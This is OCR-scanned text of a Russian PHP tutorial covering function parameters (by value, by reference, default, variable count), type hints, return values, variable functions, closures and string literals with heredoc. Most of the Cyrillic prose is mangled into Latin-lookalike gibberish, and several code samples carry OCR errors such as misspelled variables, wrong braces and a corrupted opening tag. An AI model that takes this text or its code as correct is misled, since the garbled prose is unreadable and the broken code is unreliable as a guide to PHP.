MNepepavya napameTpoB-3Ha4YEHUA

B 6osbliMHCTBE Cily4yaeB Bbl NepeqaeTe napaMeTpsbl 1Mo 3HaueHuio. B kauectBe
apryMeHTa MOXeT ObITb JiF0O0€ JI0MyCTHMOE BbIpaXKeHHe, ITO BbIpake€HHE Bbl-
YUCJISIETCS, a €r0 Pe3YJIbTAT MepeIaeTCsi COOTBETCTBYIOILEN TepeMEHHOH B (PYHK-
uuu. Bo Bcex mpuMepax paHee Mbl nepeiaBali apryMeHThI 10 3HAYEHHIO.

Nepenaya napaMeTpPoOB-CCbUIOK

[Tepenauya mo ccblyike Mo3BoJisieT BaM 060MTH 00bIYHbBIE TPABHJIa BUIUMOCTH I1e-
PEMEHHBIX MyTeM HeNnocpeICTBEHHOTO NpeaocTaBieHuss GYHKIMH NPSMOTo J0-
cTyna K nepeMeHHOM. UTo6bI GbITh NMepeIaHHbIM N0 CChLJIKE, APTYMEHT J0JIXKEH
ObITh MepeMeHHOI (a He BoipaxkeHneM). Bbl coobiaere dbyHkMM, 4TO Nepeaa-
eTe MapaMeTp-CCbLIKY, yKa3blBasi aMIiepcaH/ (&) repel UMeHeM MepeMeHHOIA.
B npumepe 3.4 npexncrabieHa u3MeHeHHas (YHKIUA doubler(), HamucaHHas
C MCI0JIb30BaHHEM MTapaMeTPOB-CChLIOK.
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Npumep 3.4. N3meHenHan sepcus (yukuun doubler() :

=
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<2php
function doubler(&$value)

$value = $valve << 1;
}

$a=3;

doubler($a);

echo $q;

[Tockospky mapaMetp $value PYHKLMM MeperaH Kak ccbUlKa Ha aKkTHyeckoe
3HayeHHe MepeMeHHOH $a BMECTO KOIMPOBAHMsI 3TOTO 3HAYEHHs], TepeMeHHast
$a Oyner moauduumposana dyukuueit. Panee HaM HY>XHO ObLJIO BO3BPAaTHTh
yIBOEHHOE 3HayeHHe, HO Terepb MbI MPOCTO MoAUGUIMPYEM 3HaYEHUE Mepe-
MeHHO# (0OpaTuTe BHUMaHHUe, OMEPaTopa return yKe HeT). [IocKOMbKY MbI me-
peaasy mepeMeHHYI0 $a Mo CChLIKE, OHA HAXOUTCS B MOJHOMN BIACTH (DYHKIIHH.
B HaeM ciyyae doubler() mpocTo nprcBanBaeT el HOBOe 3HAUEHHE.

B xauecTBe mapaMeTpPOB-CCBIIOK MOTYT BBICTYNaTh TOJbKO IepeMeHHbIe,
a He KOHCTaHTbhl WJIM BbIpaxeHusi. Eciau Mbl OyleM MCIOJIb30BaTh ONEPATOP
<@= doubler(7); 2> M3 mpeabIAYIIETO MpPUMepa, Mbl MoaydyuMm owmubky. On-
HaKO, BbI MOXKeTe Ha3HaYMThb CTaH/apTHbIe 3HaYeHUs [apaMeTpaM, fepeJaHHbIX
0 CChIIKe (TaK Xe, KaK M CTaHAapTHbIe 3HaYeHUs S TapaMeTpPOB-3HaUYEHHUI ).

Jlaxke B cry4asix, KOr/a Bbl He MJIAHUPYETe U3MEHSTD MepelaHHOe 3HaYeHHe, Bbl
BCE PaBHO MOXXETE HMCIOJIb30BATh apaMeTpbl-CCbUIKU. Koria Bbl Mcnosb3yeTe
napametpsbi-3Hayenus, PHP konupyer 3nayenus: napamerpoB. [IJs1- 60abIInX
CTPOK U OOBEKTOB 3TO MOXET OBITH OUEHb “IOPOroi” B IJIaHE HUCIOJIb30BAHUS
CUCTEMHBIX pecypcoB onepauueil. [lepenaya mapamMeTpoB Mo cCbUIKE yCTPaHSIET
HeoOX0IMMOCTb KOITUPOBaHHUsI 3HAYEHUSI.

MapameTpbi N0 YMONYAHKUIO

JlomyctuM, Bawa ¢GyHKIMS IPU BbI30BE JOJKHA MPUHSTD ONpeaeeHHbIH na-
pametp. Hampumep, Bbl Boi3biBaeTe GPyHKIHUIO AJIS1 OJYyUYEHUS TPEANOYTEHU
IJ151 caiiTa, ¥ 3TOM MYHKIIMM JOJKHBI [TepeJaTh MapaMeTp ¢ UMEHEM <«IIPeAro-
YTeHUs». Tenepb AOMYCTUM, YTO Bbl XOTUTE NMPEAYCMOTPETh BO3MOXHOCTb IO~
JiydeHHUsl Bcex mpeanoyTeHui. BMecTo ompesnesneHust KaKOro-To CrelHaTbHO-
O KJIIDYEBOI'0 CJIOBA, 03HAYAIONIEr0, YTO BbI XOTUTE MOJTYYUTD BCE MPEANIOUTE-
HUs1, BBl MOXKETE MPOCTO He MepeiaBaTh apryMeHThl QyHKIMU. Takoe peleHue
BO3MOXHO, €CJIM Bbl YCTAaHOBUTE 3HaueHHe apryMeHTa GyHKUHMM MO yMOJIYa-
HuI0. B HalieM npuMepe 3TUM 3HaueHHeM U Oy/IeT TO KJII0YEBOE CJIOBO, KOTO-
poe 6ynet o6pabateiBaThcst HYHKIMEN B Cydyae HEMOTY4YEHHs APYTOro 3Haye-
HUS apTyMeHTa.
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Yro6b! onpesenuTh 3HaYEHHE N0 YMOTYAHUIO, IPUCBONTE MapaMeTpy 3HaueHue
npu 06bsiBieHUH hyHKLUUH. 3HAYEHHE 10 YMOTYAHHIO HE MOXET OBbITb CJI0XKHBIM
BbIp2)KEHHEM, OHO MOXET OBITh TOJIBKO CKaJISIPHBIM 3HAYEHHEM:

function getPreferences($whichPreference ='all’

{
// ecan $whichPreference = “all”, 6yayT sosspawens
// Bce npepnouTeHus;
// 8 npotueHoM cnyuae yaeT BO3BPALLEHbI YKQ3QHHbIE
// npeanoutenus ...

}

Korna Bbl Bbi3biBaeTe getPreferences(), Bbl MOXeTe yka3aTb mapaMeTrp. Ecuu
BbI c/leJIaeTe 3TO, TO MOJyYUTE MPEANoYTEHHE, COOTBETCTBYIOIIEE MepelaHHON
ctpoke. B npotuBHOM cityyae 6yayT BO3BpalleHbl BCE NPEANIOYTEHHS.

y (DyHKIII/II/I MOXeET OBbITh 11000€ YHCJIO ImapaMeTpoB CO 3HAaYE€HUSMH I10 YyMOJI4a-
HHIO. OJ.IHHKO OHH OOJIXKHBI OBbITH IMepedyrcyeHbl MocJie BCeX lmapaMeTpoB, Y KOTO-
PbIX HET 3HaAYEeHU I o YMOJHaHHUIO.

MNepemenHoe YuCNo napameTpos

DyHKLMS MOXET CofepXKaTb llepeMeHHoe Yucio napamerpoB. Hanpumep, dyHk-
uusl getPreferences() M3 mpeablAylIero pa3mMepa MOXeET BO3BpallaTb Ipen-
MOYTEHHsI AJ1s1 II0OOT0 YKCIa UMEH, a He TOJIbKO st 0qHOTr0. YT0Obl 0OBABUTD
(byHKLUIO C MepeMEeHHbIM YHCJIOM MTapaMeTPOB, IPOCTO He YKa3bIBaiiTe napame-
TPBI PU OTpeaesieHuH PYHKIHUHU:

function getPreferences|)

{
}

PHP npenocrasisier Tpu GyHKUUH, KOTOPBIE BBl MOXKETE UCIIOIb30BaTh B (DYHK-
UMM I TOJyYeHHs] MapaMeTpoB, NepedaHHbix eil. DyHkuMs func_get_args()
BO3BpalllaeT MacCUB BCeX NepefaHHbIX mapamMeTrpoB ¢yHKUUU. DyHkuus func_
num_args() BO3BpAllla€T KOJMYECTBO [apaMeTpOB, IMepeJaHHbIX (YHKIHUU.
ODOyHkuus func_get_org BO3BpallaeT MapaMeTp C ONpeldeeHHbIM HOMEDOM.
Hanpumep:

// HekoTopbit koa

$array = func_get_args();
$count = func_num_args();
$value = func_get_arg(Homep_aprymenta);

B npumepe 3.5 dyHkuus count_list) mpuHMMaer J0b60e YHMCIO apryMeHTOB.
B nukiie BeruncisieTcst cyMMa Beex nepeaHHbIX 3HaueHMit. Eciiu napametpsl He
3a/laHbl, Bo3BpauiaeTcs false.
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Npumep 3.5. Cymma Bcex apryMmeHToB  :
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<?2php
function countlist()

if (func_num_args() == 0} {
return false;
}
else {
$count = 0;
for ($i =0; $i < func_num_args(); $i++) {
$count += func_get_arg($i);
}

return $count;

}
}
echo countlist(1, 5, 9); // swisener “15"
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Pe3ysbTaT 10008 M3 3THX (HYHKUUNA HE MOXXET ObITh UCTOJIb30BaH HEMoCpe-
CTBEHHO KaK mapaMmeTp Apyroi (GpyHKuuU. BMecTo 3TOro BbI AOKHBI CHayaja
nepenaTh pe3yJbTaT B MEPEMEHHYIO, A 3aTEM y)Ke UCIOJIb30BaTh €€ MPU BbI30BE
dyukuuu. Crenyioiiiee BoipaxeHue He 6yaer paboTathb:

foo(func_num_args());

BMeCTO 3TOrO I’ICHOJII)E)yf;ITe Cﬂeﬂymﬂll’[ﬁ KOA:
$count = func_num_args();
foo($count);

OTtcyrcTBylowWwMe napameTpbi

PHP nosBosisieT BaM ObITh JOCTATOYHO JIEHUBBIM - KOT/Ia Bbl BbI3biBaeTe PyHK-
1IMIO, BbI MOJXeTe MepeaaTh Jiloboe YUCJI0 apryMeHToB GyHKUuU. [TapameTpbl,
oxxunaeMbie GyHKIMEH, HO He MepeflaHHble BAMH, OCTAHYTCS HEYCTaHOBJIEHHbI-
MM, U /I KaXK/0TO U3 HUX Oy/IeT BbIBEIEHO MPEayIIpeXxXaeHHe.

function takesTwo($a, $b)

if (isset($a)) {

echo ” a ycranosnen\n”;

)
if (isset($b)) {

echo “ b ycranosnen\n”;

}

echo “Buiavisaem pyHkumio ¢ asyms aprymentamu:\n”;
takesTwol(1, 2);

echo “Buiabisaem dyHkumio ¢ oaHum aprymentom:\n”;
takesTwol(1);



.............. Inasa 3. Pynkuun

BoiBox:

Boiabieaem dyHKLMIO C ABYMS QPryMeHTaMu:
a yctaHosneH
b ycranosnen

BbiabiBaem pyHKUMIO C OAHAM QPryMeHTOM:

Warning: Missing argument 2 for takes_twol()
in /path/to/script.php on line 6
a yctaHoBneH

Kontpons Tvna

IIpu onpenenennu HyHKUUH Bbl MOXeTe MOTPeOOBaTh, YTOOBI TepeaaBaeMblit
eit mapameTp OblJI ONpe/IesIEeHHOTO TUIA, TO eCTh 3K3EMILISIPOM OIpPeeIEHHOTO
KJy1acca (BKJIIOUast 3K3eMILJISIPBI KJIACCOB, KOTOPbIE PACHIMPSIOT 3TOT KJIACC), UJIH
3K3eMIJISIPOM KJlacca, peaju3yloulero onpeieaeHHblil nHTepdec, Ui Maccu-
BOM, WJIH KOJOEKOM C THIIOM callable. [I7ist m06aBieHUsI KOHTPOJISI THUMA K Ta-
paMeTpy, repesl Ha3BaHWEM TIepEMEHHOH B criMcKe napaMeTpoB (hyHKLHUU yCTa-
HOBHUTE UMsI KJIacca, CIy)KeOHOe CI0BO array M callable. Hanmpumep:

class Entertainment {}
class Clown extends Entertainment { }
class Job {}

function handleEntertainment(Entertainment $a, callable $callback = NULL)

{

echo “O6pabotka “ . get_class($a) . “ ycnewna\n”;

if ($callback I== NULL) {
$callback();

}

$callback = function()

{

// nenaem uto-TO

B

handleEntertainment(new Clown); // pabotaer
handleEntertainment(new Job, $callback); // ownbka Bpemennu suinonHeHus

ITapaMeTp ¢ KOHTpOJIEM THMA A0JKeH ObITh UK NULL, UM 9K3EMIUISIPOM YKa-
3aHHOTO KJacca Entertainment, 3K3eMIUISIpOM mojkiacca Clown (paciiupe-
HUsl KJacca Entertainment), MacCUBOM HJIM TUNOM callable. B npotuBHOM
ciyvae Gynet ominbka BpeMeHH BbINIOJTHEHHUSI.
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KoHuTposb Timna He paboTaeT o CKaJSPHBIMU TUIIAMH, TO €CTh HEJIb3sl YCTAHO-
BUTb TPeOOBAaHUS O TOM, YTOOBI MapaMeTpbl ObLT, CKaXKeM, THIA interger MJIU
string.

3.5. Bo3spawaembie 3Ha4eHUN

Oynxuuu 8 PHP MoryT Bo3BpamaTh TOJIbKO OIHO 3HAUEHUE U JIEJIAIOT 3TO C 110-
MOIbIO KJIIOYEBOTO CJIOBA return:

function returnOne()

{

return 42;

)

Yr1oObl BEPHYTbh HECKOJIBKO 3HAYEHMIA, IPOCTO B KAYECTBE BO3BPAILAEMOTO 3Ha-
YeHUs UCIOJIb3YiiTe MacCUB (array):

function returnTwo()

{

return array("®pen”, 35);
}

Ecau BbI He yka3anu onepaTop return, GYHKIUS BepHET 3HaueHue NULL.

ITo ymomyanuio, 3Ha4yeHUs] KOMUPYIOTCS 3a npenenns! ¢yHkuuu. st Bo3BpaTa
3HAYEHUA I10 CChLIKE, 00bABAAIOT (QYHKILHUIO C aMIlepcaHoM (&) Iepel ee uMe-
HEeM U IpU TPUCBOEHUHU BO3BpalllaeMoro 3HayeHus lepeMeHHOH:

n 0

$names = array("®pen”, "Bapuu”, “Bunsma”, “bettn”);

function &findOne($n) {
global $names;
return $names[$n];

}
$person =& findOne(1);  // Baphu
$person="Bacs”; // namenset $names[1]

B 3toM xome ¢yHkius findOne() Bo3BpaliaeT CCbLIKY Ha $names[1] BMecTo
Konuu ero 3HaueHus. Ilockosibky MbI pUCBaMBaeM IO CCbLJIKe, $person SIB-
JISIeTCSI CCBUTIKON 1711 $names[1] M BTOpOe mpHCBavBaHUE WU3MEHSIET 3HAYEHHE
B $names[1].

ITa TeXHUKa MHOI1a HUCIOJIb3YETCA AJ11 BO3BPAllleHUA 60JIbIINX CTPOK UJIK MacC-
CHUBOB. OI[HaKO ITOMHUTE, YTO BO3BPAT CCbIJIKU Ha 3HAYE€HUE MEJIEHHEE, HEM BO3-
BpaT CaMOro 3Ha4Y€HUA.
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3.6. MepemeHHbie GpyHKuun. O6pauieHne K GyHKLMAM
Yyepes nepemMeHHble

PHP noanepxuBaer nepeMeHHbie GYHKIIMK., JTO O3HAYAET, YTO €CJIH K UMEHU
riepeMEHHOI TpUCcoeMHEHbI KpyrJble ckoOku, PHP umier ¢pyHkumio ¢ tem xe
HMEHEeM, YTO U Pe3yJIbTaT BHIYHCIIEHHS TIEPEMEHHOMN U TIBITAETCS €€ BbITIOJTHUTD.
PaccmoTpuM cuTyanuio, rae nepeMeHHasi UCMOJIb3yeTCs JIs ONpefiesieHus], Ka-
KYIO U3 TpeX HYHKIUN HYXKHO 3aMyCTUTh:
switch ($which) {
case 'first":
first();
break;
case 'second":
second();
break;
case 'third":
third();
break;
}

B atom ciy4yae Mbpl MOXeEM UCIOJIb30BAaTh MepeMeHHble (DYHKLMU [JIs1 BbI30Ba
Haasexanieid pyHkuuu. YTobsl BbI3BaTh NEpeMEHHYI0 (hYHKIHIO, 10OABLTE 10-
CJle UMEHU MePEeMEHHOMN KPYyTJible CKOOKHU. M bl MOXKEM Mepe3anucaTh mpeabiay-
LW TPUMED TaK:

$which(); // ecnn $which = “first”, Gyner sriasarna dymkums first() v 7.4,

Ecau nns nepemeHHoit He cyniecTByeT (pyHKLUH, OyI€T CreHepupoBaHa ourMoKa
BPEMEHH BBITIOJIHEHUHM TIPH 3amycKe KoAa. YToObI MPeA0TBPATUTh 3TO, BbI MOXKeE-
Te UCHOJb30BaTh (YHKUHUIO function_exists() [JIs1 OmpenaesieHUsT CYlIeCTBO-
BaHUS (PYHKLIMU TIepe]] ee BbI30BOM:

$yesOrNo = function_exists(function_name);
Hanpumep:
if (function_exists($which)) {
$which(); // ecnu $which = “first”, Gyaer smiasana pyrkums first() v T.a.
}

KOHCprKuMM sA3blKa BPOZE echo() M isset() HE MOTYT ObITb BbI3BaHbl TaKHUM
obpa3oMm:

$which = “echo”;
$which("hello, world”); // ue pabotaer
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3.7. AHOHUMHBIE DYHKLUMN

Hexortopsie PHP-byHkumny ncnonb3yor GyHKUMY, TPeJOCTaBJIeHHble BAMU UM
[UIsL BBITIOMIHEHUST YacTH ux paborbl. Hanpumep, GyHKUUS usort() MCIIOMB3YET
M0JIb30BATEJIbCKYI0 QYHKUUIO (KOTOPYIO BBl CO3/AJIH U NEPeNay eil B KauecTBe
napameTpa) [JIsl OTpee/IeHUs] MOPAAKA COPTHPOBKH 3JIEMEHTOB MacCHBa.

C omHOI1 CTOPOHBI, BbI MOXKETE ONPENETUTD CIELNANBHYI0 (PYHKIMH IS OTIpe-
JieJIEHHsT TOPSi/IKa COPTHPOBKH MAacCHBa, C IPYToii CTOPOHBI, GYHKIMH MOA0OHO-
r0 pojia UMEIOT TEHAEHLUIO ObITh JIOKAJTbHBIMM U BpeMEHHBIMH. UTOOBI OTpa3-
UTb BPEMEHHBIN XapaKTep Takoi QYHKIUH, PEKOMEH/YETCs UCITOIb30BaTh aHO-
HUMHble (DYHKUWH, U3BECTHBIE TaKXKe KaK 3aMbIKaHUS (closures). AHOHUMHbIE
(byHKIMM — 3TO HYHKLMH, HE UMEIOIINE OTNPE/IeJIEHHbIX HMEH.

Bbl MoXeTe cO31aTh aHOHUMHYIO QYHKLHIO, HCIOIb3Ysi OOBIYHBIN CHHTAKCHC
onpezesnenus: GYHKUMH, HO TPU 3TOM Bbl MOXKETe IPHCBOMTH 00bsiBJIeHHE (DYHK-
L[MHY TTIePeMEHHOH UJIY NTepefaTh ero HenocpeactBeHHo. [Ipumep 3.6 nemoHCTpH-
PYET co3/1aHHe Y BbI30B AHOHUMHON YHKLMUH A5 usort().

Mpumep 3.6. AHoHUMHBIE DYHKLMK

FESSEENEENEEERERIEAEINSEENESSIENEEEEEEEEEEE

$array = array(“really long string here, boy”, “this”, “middling length”, “larger”);

usort($array, function($a, $b) {
return strlen($a) - strlen($b);

3

IENEsEsENSEEREE AN

print_r($array);

MaccuB coprtupyercs ¢yHKLUMEH usort(), KOTOpas HCIOJb3yeT AHOHUMHYIO
(byHKUUIO 11 COPTUPOBKU B MOPSIIKE JAJUHBI CTPOKU. AHOHUMHBIE (DYHKLIUU
MOTYT HCIIOJIb30BaTh IepeMeHHble, ONpeJeeHHble B UX 06JacTH BUAMMOCTH.
Hanpumep:

$array = array(“really long string here, boy”, “this”, “middling length”, “larger”);
$sortOption ="random’;
usort($array, function($a, $b) use ($sortOption)
if ($sortOption == 'random') {
// ciy4ainHas copTMPOBKA MyTeM BO3BPAWEHHS

// cnyuaittbim cnocobom snauennii (-1, 0, 1)
return rand(0, 2) - 1;
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else {
return strlen($a) - strlen($b);

}
HE

print_r($array);

3aMeTbTe, UTO 3aMbIKaHHUsI MOTYT TaK)Ke HACJIe0BAaTh TEPEMEHHbBIE U3 POJUTEb-
cKoit obsacti BUAMMOCTH. JI106ast mogo6Hast mepeMeHHast 10JKHa ObITb 0ObAB-
JieHa B 3aroJioBke ¢yHkuuu. HacienoBaHue mepeMeHHBIX U3 POAUTEIbCKOM 06-
JIACTH BUIMMOCTH HE TO K€ CaMOe, YTO MCIOJIb30BaHUe [JI00aTbHbIX MEPEMEH-
HbIX. [7106a/1bHbIE TEpeMEHHbIE CYLIECTBYIOT B [J100a1bHOM 00J1aCTH BUAMMOCTH,
KOTOpasi He MEHSIETCSI, BHE 3aBUCMMOCTH OT TOr0, Kakasi GYHKI[US BITIOJTHSIETCS
B JlaHHBI MOMeHT. PoauTtesibckasi 061acTh BATMMOCTH — 3TO (QYHKIIMSI, B KOTO-
poii 661110 06bsIBIIEHO 3aMbIKaHUe (He 00513aTeJIbHO Ta XKe caMasi, U3 KOTOPOi OHO
6bL10 BbI3BaHO). Hampumep:

$array = array(“really lang string here, boy”, “this”, “middling length”, “larger”);

$sortOption = “random”;

function sortNonrandom($array)

{
$sartOption = false;
usort{$array, function($a, $b) use ($sortOption)

{
if ($sortOption == “random”) {
// cAy4aiHas copTMPOBKA NyTem BO3BPALLEHMS
// cayuainsim cnocobom sHauenmi (-1, 0, 1)
return rand(0, 2) - 1;

)
else {
return strlen($a) - strlen($b);

}
};

print_r($array);
}

print_r(sortNonrandom($array));

B aToM mpumepe $array COPTUPYETCS OOBIYHO, a HE B MPOM3BOJbHOM IOPS/-
Ke - 3HayeHHe $sort B 3aMbIKAHUU - ITO 3HA4YeHHe $sortOption B 00JACTH
sortNonrandom(), a He 3HaueHue $sortOption B IJ106aIbHON 061aCTH.



naea 4. Ctpoku

DOJIbIIMHCTBO JaHHBIX, C KOTOPHIMM Bbl BCTpEYAeTeCh NMPH HAMMCAHWUHU MPO-
rpaMM, SIBJISIIOTCSI MOCJI€IOBATENbHOCTSIMH CUMBOJIOB MK cTpokaMHu. CTpoku
COJlepKaT MMeHa JIo/ieif, maposy, ajpeca, HoMepa KpeUTHBbIX KapTOYeK, HCTO-
PHH NOKYNKH U MHOTOE apyroe. 1o atoit npuunne PHP coaepxuT minpoxuii Bbl-
60p byHKUKH A5 pabOThI CO CTPOKAMH.

B 3T0i1 rs1aBe Bbl HaiiieTe MHOXECTBO CMOCOOOB MCMOJIb30BaHUsI CTPOK B Ba-
wux PHP-nporpammax, B ToM yncJie 6y/1eT pacCMOTPEHa HHTEPIOJSLUs (TTOMe-
lleH1e 3HaueHHe epeMeHHON B CTPOKe), 3aTeM OyayT paccMOTpeHbl (hyHKUMH
IU1s1 U3MEHEHMs], 3aKJII0YEHHs] B KaBbIYKK CTPOK M MOKCKa B cTpokax. Hy u no-
cJie IPOYTEHHSI ITOI TJIaBbl Bbl CTAHETE IKCIIEPTOM B 06J1aCTH 06pabOTKH CTPOK.

4.1. CnocoObl 3anMCK CTPOKOBbIX KOHCTaHT

CyutecTByeT Tpu crnocoba 3anmucH CTPOKOBBIX KOHCTAHT B Ballieil Mporpamme:
UCIOJIb30BaHHE OJMHAPHBIX KaBblueK, ABOMHBIX kKaBbluek M ¢opmat heredoc,
kotopblit npuies B PHP u3 o6onoukn UNIX. PazHuua Mexay 3TUMH MeTO-
AaMH 3aKJIo4aeTcss B TOM, OyayT JM pacrno3HaBaTbcsi crielnanbHble Escape-
N10CJIEI0BATEILHOCTH, MO3BOJISIONINE KOAUPOBATh CrelaJbHble CUMBOJIbI HJIH
MUHTEPIOJNPOBaTh NepEMEHHBIE. -

UnTepnonsums nepeMeHHOMN

Korza Bbl onpeziesisieTe CTpPOKOBOM JIUTEPAJ, HCMOJIb3Ysl IBOHHbIE KAaBBIYKH HJIN
¢dopmart heredoc, cTpoka siBisieTcst npeaAMeTOM unmepnonsyuu nepemenoi. V-
TEPIOJISILUA - 3TO MPOLIECC 3aMeHbl UIMEHH NePEMEHHOH B CTPOKE ee 3HaUEeHHEM.
CyuiecTByeT ABa crnocoba MHTEPIOJSLUH NIEPEMEHHDIX B CTPOKH.

[TpocTeitnii U3 ITUX ABYX CIOCOOOB 3aKJIIOYAETCS B MOMELIEHHH UMEHH nepe-
MEHHOIi B CTPOKY, 3aKJIIOUEHHYIO B JIBOHHbIe KaBbIUKH, UM B heredoc:

$who = Kilroy";
$where ='3necs";
echo “$who 6uin $where”;

BoiBox:
Kilroy 6bin 3necs

Jlpyroit cnocob - 3ak/aw4YeHHe MHTEPIOJIMPYeMOil nepeMeHHOH B (urypHbie
ckobku. Mcnonb3oBaHue 3TOr0 CUMHTAKCKCA FapaHTHPYET, YTO OyaeT UHTEpIIO-
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JIMPOBaHa NpaBuJIbHas mepeMeHHas. B kinaccuueckom PHP-kozne ucnosb3ytores
UMeHHO urypHbie CKOOKH, YTOOBI TOYHO OTAEJUTb UMS IEPEMEHHOIT OT OKpY-
JKAIOIETrO ee TEKCTA:

$n=12;
echo “Bui -{$n}-bit Homep”;

BriBoa:
Bbt 12-pit HOMep

Bes durypubix cko6ox PHP nonbitaetcst BbiBECTH 3HaueHHE NEpEMEHHOI ¢ MMe-
HeM $nth.

B otsinune ot Hekotopbix o6osouek, B PHP cTpoku He o6pabaTsiBaloTCs 10-
BTOPHO [1JIs1 HHTEPIOJALUH. BMeCTO 3TOr0 J1106ble MHTEPIIOJSALUH B CTPOKE, 3a-
KJIIOYEHHOW B JBOWHbBIE KaBbIYKM, 00pabaThIBAIOTCS CHA4asa, a Pe3yJIbTaT UC-
NOJIb3yeTCs B KaUeCcTBe 3HAUEHUS CTPOKH:

$bar =310 He 6ynet BeiBeneHo’;

$foo = ‘$bar’; // onnHapHbie KaBbIvKH
print(” $foo”);

BriBoxa:
$bar

OauHapHble KaBbIYKK

OnunapHble KaBbIYKHM HE MHTEPIIOJNUPYIOT epeMeHHble. B cienyiomem npume-
pe UMsi iepeMeHHOi He Gy/1eT Npeo6pa3oBaHO B ee 3HaUY€HUE, MOCKOJIbKY CTPOKA
3aKJII0YeHA B OTMHAPHbIE KaBbIYKHU:

$name = ‘Denop’;

$str = ‘Mpuser, $name’;  // oanHapHble KaBbivku
echo $str;
BoiBox:

Mpueer, $name

EnuHcTBeHHbIE escape-1nocief0BaTeIbHOCTH, KOTOPble pPabOTalOT B OQUHAPHBIX
KaBblyKax - 3T0 \!, 106aBJIsII0Iasi OMHAPHYIO KaBbIUKYy B CTPOKY H \\, KOTOpasi
nobasJisier 0OpaTHBIiA CJIEl B CTPOKY, 3aKJII0YEHHYIO B IBOWHbIE KaBbluku. JI10-
Oble qpyrue CUMBOJIbI 0003HAYAIOT caMu cebsi U He UMEIOT KaKoro-ubo crenu-
aJIbHOTO 3HAYEHHUSI:

$name = 'Mers [I\' Aptanesn’; // BcTaBnsem opMHApHYIO KaBbIYKY B CTPOKY
echo $name;

$path = 'C:\\WINDOWS"; // ecrasnsiem obpatHbiii cnew

echo $path;

$nope ="\n"; // not an escape

echo $nope;
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BriBox:
Mets [I' ApraxbsH

CAWINDOWS
\n

[lBOiHbBIE KABBIYKM

CTpOKM B ABOMHBIX KaBblUKaX WHTEPIOJIUPYIOT IEPEMEHHbIE U MO3BOJISIOT HC-
I10J1b30BaTh MHOXECTBO escape-nocjenoBarenbHocTeil. B tabauie 4.1 npusene-
HBI escape-TnocjieloBaTesbHOCTH, pacnio3HaBaemble PHP B cTpokax, 3akioueH-
HBIX B IBOMHbIE KABbIYKH.

Tabnuua 4.1. Escape-nocneaoBarenbHOCTH B CTPOKaX, 3aKNIO4EHHbIX B ABORHbBIX
KaBblyKax

Ez::g:;bgzg:; NpeacTasnsiemMbiii cuMBON
\" [lBoiHasn kaBbivka
_\: ! HoBsas cTpoka (nepexoa Ha HOBYIO CTPOKY)
\r Boaspat kapeTku
\t Tabynsauus
\\ O6paTHbIli cnew
\{ Jlesas durypHas ckobka
\} Mpasas ¢Mrypﬁan ckobka
{[ T — _ e il
\] f‘lpaaaﬂgﬂpamaﬂ ckobka
_\OM“\777 ........... ASCII-cumBon, NnpeacTaBneHHbI BOCbMEPUYHbIM 3HA4YEHUEM
\x0 .. \xFF : ASCII-cumBon, NpeacTaBNEeHHLIN WECTHAAUATEPUYHBLIM 3HAYEHUEM

Eciu B [BOiHBIX KaBblukax OyneT HaiiieHa HeM3BECTHasi —escape-
10CJIEI0BATENLHOCTb (TO €CTb 0OpATHBINA CJiell, 332 KOTOPbIM CJIEAYET CUMBOJI,
KoTOporo HeT B Tabsuite 4.1), oHa 6yzeT MpoMrHopupoBaHa (ecjiu y Bac yCTaHOB-
JIeH ypoBeHb npeaynpexaeHus E_NOTICE, Bbl yBUAUTE NpeaAyNpexaeHue, cre-
HEPHUPOBAHHOE 7151 OTCYTCTBYIOIIIe! escape-Tnocje0BaTeIbHOCTH ):

$str = “Uro \c 3102"; // Hem3pecTHAR esC-NOCNEAOBATENLHOCTL
echo $str;

BoiBog;

Yro \c ato?
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Here-AoKyMeHTbI

BbI MOXETE JIETKO BCTaBUTb MHOI'OCTPOYHbIE€ KOHCTAHTbI B Ballly ITPpOrpaMMy C
noMolibio hopmara heredoc, kak nmokasaHo HuXe:

$clerihew = <<< EndOfQuote

Coelwb ewd 3TUX MArKmx

bpaHuyackmux Bynok,

AQ BbINEX Yaio.

EndOfQuote;

echo $clerihew;

BroiBoz:

Creuwb eweé 3Tux Markmux
bpaHuyackmux 6ynok,
AQ BbiNEM Yalo.

Mapkep <<< udenmugpurxamop rosoput napcepy PHP, uto 3xecp HaunHaercs
here-noxymeHT. Mexay CHMMBOJAMHU <<< M HAEHTU(HHUKATOPOM [OJKEH ObITh
npoben. Haunnas co ciexyoueil CTpOKH BeChb TEKCT MOMEILAETCS B €PEMEH-
HY10, IOKa He Gy/IeT JOCTUTHYT 3aBepuIaloIUi naeHTHdUKATOP.

B ocob6om ciyyae BbI MOXKETE ITOMECTUTh TOUKY C 3allSITOM 10C/Ie 3aBeplatole-
ro uaeHtTuduKaTopa, YToObl 3aBEPIIUTH OMEPATOP, KAK MOKAa3aHO B MPEIbILYIEM
npuMmepe. Ecan Bbl ucrionbdyete here-1okyMeHT B 60J1€€ CI10KHOM BbIPaXKEHHH,
BbI IOJDKHBI IPOIOJKHTH BbIPRXKEHHE Ha CJIeLyIOlLIelN CTPOKe, KaK ITOKa3aHO HHXKE:

prinf(<<< Template
%s 6bino %d ner.
Template

, “Fred”, 35);

B here-noxyMeHTe Bbl MOXETE HUCITIOJIb30BaTbh OAUHAPHbIE U JIBOWMHbIE KABbIYKH:

$dialogue = <<< NoMore

“It's not going to happen!” she fumed.
He raised an eyebrow. “Want to bet2”
NoMore;

echo $dialogue;

BruiBox:

“It's not going to happen!” she fumed.
He raised an eyebrow. “Want to bet?”

[Tpo6ebt u mpobesibHble CHMBOJIBI B here-10KyMeHTe TOXe COXPaHSIOTCS:

$ws = <<< Enough
boo
hoo
Enough;
// $ws ="boo\n hoo”;



PHP. NonHoe pykoBOACTBO U CNPaBO4HUK BYHKUMNA

CHMMBOJ HOBOH CTPOKH TIpe/l 3aBEPILAIOLIMM HAEHTU(PHUKATOPOM yAAJISETCH, M0-
ITOMY cjieiyioure 1Ba ornepaTopa nNpuCBanBaHUA aHAJIOTHYHBbI:

$s='Foo";

// awanoruuen:

$s = <<< EndOfPointlessHeredoc

Foo
EndOfPointlessHeredoc;

Ecan Bbl x0oTHTE 106aBMTH CMMBOJI HOBOW CTPOKH B KOHell Baiueil heredoc-
CTPOKH, BaM HY>XXHO 100aBUTb €l1€ OJIMH JOTIOJTHUTEIbHBIA CHMBOJL

$s=<<<End
Foo

End;

4.2. BuiBOA CTPOK

Ectb yetbipe ciocoba ornpaButh ¢ nomoupio PHP yto-1u60 Ha BbiBOA B Gpa-
y3ep. KOHCTpPyKUMs echo 1MO3BOJIsiET BaM BBIBECTH MHOXXECTBO 3HA4YeHHil 3a
